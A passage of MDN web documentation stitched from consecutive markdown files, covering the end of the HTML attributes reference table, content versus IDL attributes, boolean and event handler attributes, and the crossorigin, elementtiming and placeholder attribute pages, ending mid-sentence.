href="/en-US/docs/Web/HTML/Attributes/formenctype">formenctype</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("input") }} </td> <td> If the button/input is a {{Glossary("submit button")}} (e.g. <code>type="submit"</code>), this attribute sets the encoding type to use during form submission. If this attribute is specified, it overrides the <code>enctype</code> attribute of the button's <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/formmethod">formmethod</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("input") }} </td> <td> If the button/input is a {{Glossary("submit button")}} (e.g. <code>type="submit"</code>), this attribute sets the submission method to use during form submission (<code>GET</code>, <code>POST</code>, etc.). If this attribute is specified, it overrides the <code>method</code> attribute of the button's <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/formnovalidate">formnovalidate</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("input") }} </td> <td> If the button/input is a {{Glossary("submit button")}} (e.g. <code>type="submit"</code>), this boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the <code>novalidate</code> attribute of the button's <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/formtarget">formtarget</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("input") }} </td> <td> If the button/input is a {{Glossary("submit button")}} (e.g. <code>type="submit"</code>), this attribute specifies the browsing context (for example, tab, window, or inline frame) in which to display the response that is received after submitting the form. If this attribute is specified, it overrides the <code>target</code> attribute of the button's <a href="/en-US/docs/Web/HTML/Element/form">form</a> owner. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/headers">headers</a></code> </td> <td> {{ HTMLElement("td") }}, {{ HTMLElement("th") }} </td> <td> IDs of the <code>&#x3C;th></code> elements which applies to this element. </td> </tr> <tr> <td><code>height</code></td> <td> {{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} </td> <td> <p> Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property. </p> <div class="note"> <p> <strong>Note:</strong> In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead. </p> </div> </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Prevents rendering of given element, while keeping child elements, e.g. script elements, active. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meter#high">high</a></code> </td> <td>{{ HTMLElement("meter") }}</td> <td>Indicates the lower bound of the upper range.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/href">href</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }} </td> <td>The URL of a linked resource.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/hreflang">hreflang</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("link") }} </td> <td>Specifies the language of the linked resource.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meta#http-equiv">http-equiv</a></code> </td> <td>{{ HTMLElement("meta") }}</td> <td>Defines a pragma directive.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Often used with CSS to style a specific element. The value of this attribute must be unique. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/Security/Subresource_Integrity">integrity</a></code> </td> <td> {{ HTMLElement("link") }}, {{ HTMLElement("script") }} </td> <td> <p> Specifies a <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a> value that allows browsers to verify what they fetch. </p> </td> </tr> <tr> <td> <a href="/en-US/docs/Web/HTML/Element/img#intrinsicsize"><code>intrinsicsize</code></a> {{deprecated_inline}} </td> <td>{{ HTMLElement("img") }}</td> <td> This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it's the size specified in the attribute. </td> </tr> <tr> <td> <a href="/en-US/docs/Web/HTML/Global_attributes/inputmode"><code>inputmode</code></a> </td> <td> {{ HTMLElement("textarea") }}, <a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code></a> </td> <td> Provides a hint as to the type of data that might be entered by the user while editing the element or its contents. The attribute can be used with form controls (such as the value of <code>textarea</code> elements), or in elements in an editing host (e.g., using <code>contenteditable</code> attribute). </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/img#ismap">ismap</a></code> </td> <td>{{ HTMLElement("img") }}</td> <td>Indicates that the image is part of a server-side image map.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/track#kind">kind</a></code> </td> <td>{{ HTMLElement("track") }}</td> <td>Specifies the kind of text track.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/label">label</a></code> </td> <td> {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("track") }} </td> <td>Specifies a user-readable title of the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Defines the language used in the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/script#language">language</a></code> {{deprecated_inline}} </td> <td>{{ HTMLElement("script") }}</td> <td>Defines the script language used in the element.</td> </tr> <tr> <td><code>loading</code> {{experimental_inline}}</td> <td> {{ HTMLElement("img") }}, {{ HTMLElement("iframe") }} </td> <td> Indicates if the element should be loaded lazily (<code>loading="lazy"</code>) or loaded immediately (<code>loading="eager"</code>). </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/input#list">list</a></code> </td> <td>{{ HTMLElement("input") }}</td> <td>Identifies a list of pre-defined options to suggest to the user.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/loop">loop</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }} </td> <td> Indicates whether the media should start playing from the start when it's finished. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meter#low">low</a></code> </td> <td>{{ HTMLElement("meter") }}</td> <td>Indicates the upper bound of the lower range.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/html#manifest">manifest</a></code> {{deprecated_inline}} </td> <td>{{ HTMLElement("html") }}</td> <td> Specifies the URL of the document's cache manifest. <div class="note"> <p> <strong>Note:</strong> This attribute is obsolete, use <a href="/en-US/docs/Web/Manifest"><code>&#x3C;link rel="manifest"></code></a> instead. </p> </div> </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }} </td> <td>Indicates the maximum value allowed.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} </td> <td>Defines the maximum number of characters allowed in the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/minlength">minlength</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} </td> <td>Defines the minimum number of characters allowed in the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/media">media</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }} </td> <td> Specifies a hint of the media for which the linked resource was designed. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/form#method">method</a></code> </td> <td>{{ HTMLElement("form") }}</td> <td> Defines which <a href="/en-US/docs/Web/HTTP">HTTP</a> method to use when submitting the form. Can be <code>GET</code> (default) or <code>POST</code>. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("meter") }} </td> <td>Indicates the minimum value allowed.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/multiple">multiple</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("select") }} </td> <td> Indicates whether multiple values can be entered in an input of the type <code>email</code> or <code>file</code>. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/muted">muted</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("video") }} </td> <td> Indicates whether the audio will be initially silenced on page load. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/name">name</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }} </td> <td> Name of the element. For example used by the server to identify the fields in form submits. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/form#novalidate">novalidate</a></code> </td> <td>{{ HTMLElement("form") }}</td> <td> This attribute indicates that the form shouldn't be validated when submitted. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/open">open</a></code> </td> <td> {{ HTMLElement("details") }}, {{ HTMLElement("dialog") }} </td> <td> Indicates whether the contents are currently visible (in the case of a <code>&#x3C;details></code> element) or whether the dialog is active and can be interacted with (in the case of a <code>&#x3C;dialog></code> element). </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/meter#optimum">optimum</a></code> </td> <td>{{ HTMLElement("meter") }}</td> <td>Indicates the optimal numeric value.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/pattern">pattern</a></code> </td> <td>{{ HTMLElement("input") }}</td> <td> Defines a regular expression which the element's value will be validated against. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/a#ping">ping</a></code> </td> <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td> <td> The <code>ping</code> attribute specifies a space-separated list of URLs to be notified if a user follows the hyperlink. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/placeholder">placeholder</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} </td> <td>Provides a hint to the user of what can be entered in the field.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/video#playsinline">playsinline</a></code> </td> <td> {{ HTMLElement("video") }} </td> <td>A Boolean attribute indicating that the video is to be played "inline"; that is, within the element's playback area. Note that the absence of this attribute does not imply that the video will always be played in fullscreen.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/video#poster">poster</a></code> </td> <td>{{ HTMLElement("video") }}</td> <td> A URL indicating a poster frame to show until the user plays or seeks. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/preload">preload</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("video") }} </td> <td> Indicates whether the whole resource, parts of it or nothing should be preloaded. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/readonly">readonly</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("textarea") }} </td> <td>Indicates whether the element can be edited.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/referralpolicy">referrerpolicy</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }} </td> <td>Specifies which referrer is sent when fetching the resource.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/rel">rel</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }} </td> <td> Specifies the relationship of the target object to the link object. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/required">required</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} </td> <td>Indicates whether this element is required to fill out or not.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/ol#reversed">reversed</a></code> </td> <td>{{ HTMLElement("ol") }}</td> <td> Indicates whether the list should be displayed in a descending order instead of an ascending order. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/Accessibility/ARIA/Roles">role</a></code> </td> <td><a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a></td> <td>Defines an explicit role for an element for use by assistive technologies.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/textarea#rows">rows</a></code> </td> <td>{{ HTMLElement("textarea") }}</td> <td>Defines the number of rows in a text area.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/rowspan">rowspan</a></code> </td> <td> {{ HTMLElement("td") }}, {{ HTMLElement("th") }} </td> <td>Defines the number of rows a table cell should span over.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/iframe#sandbox">sandbox</a></code> </td> <td>{{ HTMLElement("iframe") }}</td> <td> Stops a document loaded in an iframe from using certain features (such as submitting forms or opening new windows). </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/th#scope">scope</a></code> </td> <td>{{ HTMLElement("th") }}</td> <td> Defines the cells that the header test (defined in the <code>th</code> element) relates to. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/style#scoped">scoped</a></code> {{non-standard_inline}} {{deprecated_inline}} </td> <td>{{ HTMLElement("style") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/option#selected">selected</a></code> </td> <td>{{ HTMLElement("option") }}</td> <td>Defines a value which will be selected on page load.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/shape">shape</a></code> </td> <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/size">size</a></code> </td> <td> {{ HTMLElement("input") }}, {{ HTMLElement("select") }} </td> <td> Defines the width of the element (in pixels). If the element's <code>type</code> attribute is <code>text</code> or <code>password</code> then it's the number of characters. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/sizes">sizes</a></code> </td> <td> {{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }} </td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Assigns a slot in a shadow DOM shadow tree to an element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/span">span</a></code> </td> <td> {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }} </td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Indicates whether spell checking is allowed for the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/src">src</a></code> </td> <td> {{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }} </td> <td>The URL of the embeddable content.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/iframe#srcdoc">srcdoc</a></code> </td> <td>{{ HTMLElement("iframe") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/track#srclang">srclang</a></code> </td> <td>{{ HTMLElement("track") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/srcset">srcset</a></code> </td> <td> {{ HTMLElement("img") }}, {{ HTMLElement("source") }} </td> <td>One or more responsive image candidates.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/ol#start">start</a></code> </td> <td>{{ HTMLElement("ol") }}</td> <td>Defines the first number if other than 1.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/step">step</a></code> </td> <td>{{ HTMLElement("input") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Defines CSS styles which will override styles previously set.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/table#summary">summary</a></code> {{deprecated_inline}} </td> <td>{{ HTMLElement("table") }}</td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Overrides the browser's default tab order and follows the one specified instead. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/target">target</a></code> </td> <td> {{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }} </td> <td> Specifies where to open the linked document (in the case of an <code>&#x3C;a></code> element) or where to display the response received (in the case of a <code>&#x3C;form></code> element) </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/title">title</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td>Text to be displayed in a tooltip when hovering over the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Global_attributes/translate">translate</a></code> </td> <td> <a href="/en-US/docs/Web/HTML/Global_attributes">Global attribute</a> </td> <td> Specify whether an element's attribute values and the values of its <code><a href="https://dom.spec.whatwg.org/#text">Text</a></code> node children are to be translated when the page is localized, or whether to leave them unchanged. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/type">type</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("ol") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}, {{ HTMLElement("link") }} </td> <td>Defines the type of the element.</td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/usemap">usemap</a></code> </td> <td> {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }} </td> <td></td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/value">value</a></code> </td> <td> {{ HTMLElement("button") }}, {{ HTMLElement("data") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("option") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }} </td> <td> Defines a default value which will be displayed in the element on page load. </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Attributes/width">width</a></code> </td> <td> {{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }} </td> <td> <p> For the elements listed here, this establishes the element's width. </p> <div class="note"> <p> <strong>Note:</strong> For all other instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead. </p> </div> </td> </tr> <tr> <td> <code><a href="/en-US/docs/Web/HTML/Element/textarea#wrap">wrap</a></code> </td> <td>{{ HTMLElement("textarea") }}</td> <td>Indicates whether the text should be wrapped.</td> </tr> </tbody> </table> ## Content versus IDL attributes In HTML, most attributes have two faces: the **content attribute** and the **IDL (Interface Definition Language) attribute**. The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's `maxlength` to 42 using the content attribute, you have to call `setAttribute("maxlength", "42")` on that element. The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like `element.foo`. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes. Most of the time, IDL attributes will return their values as they are really used. For example, the default `type` for {{HTMLElement("input")}} elements is "text", so if you set `input.type="foobar"`, the `<input>` element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the `type` IDL attribute will return the string "text". IDL attributes are not always strings; for example, `input.maxlength` is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so `input.maxlength` is always going to return a number and when you set `input.maxlength`, it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion. IDL attributes can [reflect other types](https://html.spec.whatwg.org/multipage/urls-and-fetching.html) such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow [the rules laid out in the specification](https://html.spec.whatwg.org/multipage/urls-and-fetching.html), but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes behave oddly (`select.size`, for example) and you should read the specifications to understand how exactly they behave. ## Boolean Attributes Some content attributes (e.g. `required`, `readonly`, `disabled`) are called [boolean attributes](https://html.spec.whatwg.org/multipage/common-microsyntaxes.html#boolean-attributes). If a boolean attribute is present, its value is **true**, and if it's absent, its value is **false**. HTML defines restrictions on the allowed values of boolean attributes: If the attribute is present, its value must either be the empty string (equivalently, the attribute may have an unassigned value), or a value that is an ASCII case-insensitive match for the attribute's canonical name, with no leading or trailing whitespace. The following examples are valid ways to mark up a boolean attribute: ```html-nolint <div itemscope>This is valid HTML but invalid XML.</div> <div itemscope=itemscope>This is also valid HTML but invalid XML.</div> <div itemscope="">This is valid HTML and also valid XML.</div> <div itemscope="itemscope"> This is also valid HTML and XML, but perhaps a bit verbose. </div> ``` To be clear, the values "`true`" and "`false`" are not allowed on boolean attributes. To represent a false value, the attribute has to be omitted altogether. This restriction clears up some common misunderstandings: With `checked="false"` for example, the element's `checked` attribute would be interpreted as **true** because the attribute is present. ## Event handler attributes > **Warning:** The use of event handler content attributes is discouraged. The mix of HTML and JavaScript often produces unmaintainable code, and the execution of event handler attributes may also be blocked by content security policies. In addition to the attributes listed in the table above, global [event handlers](/en-US/docs/Web/Events/Event_handlers#using_onevent_properties) — such as [`onclick`](/en-US/docs/Web/API/Element/click_event) — can also be specified as [content attributes](#content_versus_idl_attributes) on all elements. All event handler attributes accept a string. The string will be used to synthesize a [JavaScript function](/en-US/docs/Web/JavaScript/Reference/Functions) like `function name(/*args*/) {body}`, where `name` is the attribute's name, and `body` is the attribute's value. The handler receives the same parameters as its JavaScript event handler counterpart — most handlers receive only one `event` parameter, while `onerror` receives five: `event`, `source`, `lineno`, `colno`, `error`. This means you can, in general, use the `event` variable within the attribute. ```html <div onclick="console.log(event)">Click me!</div> <!-- The synthesized handler has a name; you can reference itself --> <div onclick="console.log(onclick)">Click me!</div> ``` ## See also - [HTML elements](/en-US/docs/Web/HTML/Element)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/crossorigin/index.md
--- title: "HTML attribute: crossorigin" slug: Web/HTML/Attributes/crossorigin page-type: html-attribute browser-compat: - html.elements.img.crossorigin - html.elements.link.crossorigin - html.elements.script.crossorigin - html.elements.video.crossorigin spec-urls: https://html.spec.whatwg.org/multipage/urls-and-fetching.html#cors-settings-attributes --- {{HTMLSidebar}} The **`crossorigin`** attribute, valid on the {{HTMLElement("audio")}}, {{HTMLElement("img")}}, {{HTMLElement("link")}}, {{HTMLElement("script")}}, and {{HTMLElement("video")}} elements, provides support for [CORS](/en-US/docs/Web/HTTP/CORS), defining how the element handles cross-origin requests, thereby enabling the configuration of the CORS requests for the element's fetched data. Depending on the element, the attribute can be a CORS settings attribute. The `crossorigin` content attribute on media elements is a CORS settings attribute. These attributes are [enumerated](/en-US/docs/Glossary/Enumerated), and have the following possible values: - `anonymous` - : Request uses CORS headers and credentials flag is set to `'same-origin'`. There is no exchange of **user credentials** via cookies, client-side TLS certificates or HTTP authentication, unless destination is the same origin. - `use-credentials` - : Request uses CORS headers, credentials flag is set to `'include'` and **user credentials** are always included. - `""` - : Setting the attribute name to an empty value, like `crossorigin` or `crossorigin=""`, is the same as `anonymous`. An invalid keyword and an empty string will be handled as the `anonymous` keyword. By default (that is, when the attribute is not specified), CORS is not used at all. The user agent will not ask for permission for full access to the resource and in the case of a cross-origin request, certain limitations will be applied based on the type of element concerned: <table class="no-markdown"> <tbody> <tr> <td class="header">Element</td> <td class="header">Restrictions</td> </tr> <tr> <td><code>img</code>, <code>audio</code>, <code>video</code></td> <td> When resource is placed in {{HTMLElement("canvas")}}, element is marked as <a href="/en-US/docs/Web/HTML/CORS_enabled_image#security_and_tainted_canvases"><em>tainted</em></a>. </td> </tr> <tr> <td><code>script</code></td> <td> Access to error logging via {{domxref('Window.error_event', 'window.onerror')}} will be limited. </td> </tr> <tr> <td><code>link</code></td> <td> Request with no appropriate <code>crossorigin</code> header may be discarded. </td> </tr> </tbody> </table> > **Note:** The `crossorigin` attribute is not supported for [`rel="icon"`](/en-US/docs/Web/HTML/Attributes/rel#icon) in Chromium-based browsers. See the [open Chromium issue](https://crbug.com/1121645). ### Example: `crossorigin` with the `<script>` element You can use the following {{HTMLElement("script")}} element to tell a browser to execute the `https://example.com/example-framework.js` script without sending user-credentials. ```html <script src="https://example.com/example-framework.js" crossorigin="anonymous"></script> ``` ### Example: Web manifest with credentials The `use-credentials` value must be used when fetching a [manifest](/en-US/docs/Web/Manifest) that requires credentials, even if the file is from the same origin. ```html <link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials" /> ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Cross-Origin Resource Sharing (CORS)](/en-US/docs/Web/HTTP/CORS) - [HTML attribute: `rel`](/en-US/docs/Web/HTML/Attributes/rel) {{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/elementtiming/index.md
--- title: "HTML attribute: elementtiming" slug: Web/HTML/Attributes/elementtiming page-type: html-attribute --- {{HTMLSidebar}} The **`elementtiming`** attribute is used to indicate that an element is flagged for tracking by {{domxref("PerformanceObserver")}} objects using the `"element"` type. For more details, see the {{domxref("PerformanceElementTiming")}} interface. This attribute may be applied to {{htmlelement("img")}}, {{SVGElement("image")}} elements inside an {{SVGElement("svg")}}, poster images of {{htmlelement("video")}} elements, elements which have a {{cssxref("background-image")}}, and elements containing text nodes, such as a {{htmlelement("p")}}. In the DOM, this attribute is reflected as {{domxref("Element.elementTiming")}}. ## Usage The value given for `elementtiming` becomes an identifier for the observed element. ```html <img alt="alt" src="img.jpg" elementtiming="label for element" /> ``` Good contenders for elements you might want to observe are: - The main image for an article. - A blog post title - Images in a carousel for a shopping site. - The poster image for the main video on a page. ## Examples ```html <img alt="Alt for a main blog post image" src="my-massive-image.jpg" elementtiming="Main image"> <p elementtiming="important-text">Some very important information.</p"> ``` ## See also - {{domxref("PerformanceElementTiming")}} - {{domxref("Element.elementTiming")}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/placeholder/index.md
--- title: "HTML attribute: placeholder" slug: Web/HTML/Attributes/placeholder page-type: html-attribute browser-compat: - html.elements.input.placeholder - html.elements.textarea.placeholder --- {{HTMLSidebar}} The **`placeholder`** attribute defines the text displayed in a form control when the control has no value. The placeholder text should provide a brief hint to the user as to the expected type of data that should be entered into the control. Effective placeholder text includes a word or short phrase that hints at the expected data type, not an explanation or prompt. The placeholder must not be used instead of a {{HTMLElement("label")}}. As the placeholder is not visible if the value of the form control is not null, using `placeholder` instead of a `<label>` for a prompt harms usability and accessibility. The `placeholder` attribute is supported by the following input types: `{{HTMLElement("input/text", "text")}}`, `{{HTMLElement("input/search", "search")}}`, `{{HTMLElement("input/url", "url")}}`, `{{HTMLElement("input/tel", "tel")}}`, `{{HTMLElement("input/email", "email")}}`, and `{{HTMLElement("input/password", "password")}}`. It is also supported by the `{{HTMLElement("textarea")}}` element. The [example](#example) below shows the `placeholder` attribute in use to explain the expected format of an input field. > **Note:** The `placeholder` attribute can't include any line feeds (LF) or carriage returns (CR). If either is included in the value, the placeholder text will be clipped. ## Accessibility concerns Placeholders should only be used to show an example of the type of data that should be entered into a form; never as a replacement for a `<label>` element; doing so harms accessibility and user experience. The `<label>` text is visually and programmatically associated with its corresponding form control. Screen readers don't announce placeholder content by default, but they do announce label content; it's the label that informs 